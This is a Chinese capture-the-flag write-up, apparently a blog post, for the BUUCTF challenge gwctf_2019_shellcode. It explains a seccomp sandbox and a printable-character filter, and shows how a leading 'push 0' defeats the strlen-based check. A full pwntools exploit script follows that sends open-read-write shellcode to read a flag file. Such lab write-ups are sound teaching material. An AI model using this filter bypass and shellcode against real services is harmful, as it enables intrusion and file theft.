(BUUCTF)gwctf_2019_shellcode

前置知识

  • seccomp-tools使用(seccomp-tools dump ./file查看沙箱开启情况)
  • strlen查看字符串长度,默认字符串以b'\x00'结尾

整体思路

程序打开时无法反编译,略读一下发现这是因为整个的逻辑是要输入shellcoderax,最后通过 call rax来执行的,而call rax是没办法反汇编的指令,因此我们patch指令call rax即可反汇编,只是要记得程序会执行shellcode

程序开启了沙箱,不能直接执行execve,只能通过orw(open-read-write)的方式进行读取flag

另外,程序还使用is_printable函数来检测输入的shellcode是否都为可见字符,使用的是strlen()函数判断

正常情况下,可以使用ae64库进行可见字符的编码:

from ae64 import AE64
from pwn import *

shellcode = asm(shellcraft.amd64.linux.sh())

enc_shellcode = AE64(),encode(shellcode) # enc_shellcode即为可见字符的shellcode

然而,本道题目还限制了输入的最大长度为0x64,无论怎么编写,由于沙箱的原因,都会使得长度远远大于这个数。

因此,这里只能使用strlen函数的漏洞,感觉是有一点点非预期的样子。由于strlen函数遇到b'\x00'会截断,而is_printable函数只会检查通过strlen函数得到的长度这部分是否为可见字符。因此,我们只需要在程序最开始使用push 0,其中就含有b'\x00',而push操作本身是可见字符,因此相当于就完全绕过了is_printable函数。接下来正常编写orwshellcode即可。

exp

from pwn import *
from LibcSearcher import *
from ae64 import AE64

filename = './gwctf_2019_shellcode'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')

if local:
    sh = process(filename)
else:
    sh = remote('node4.buuoj.cn', 25776)

def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)

shellcode = asm('''push 0
mov rax, 0x67616c662f
push rax
push 2
pop rax
push rsp
pop rdi
push 0
pop rsi
syscall
push 0
pop rax
push 3
pop rdi
push rsp
pop rsi
push 0x100
pop rdx
syscall
push rsp
pop rsi
push 1
pop rax
push 1
pop rdi
push 0x100
pop rdx
syscall
ret
''')
print('The original shellcode length is {}'.format(len(shellcode)))
print(shellcode)
# sh.recv()
# debug()
sh.send(shellcode)
# pause()
flag = sh.recvuntil('}').decode()
print(flag)
sh.interactive()
  • 6
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值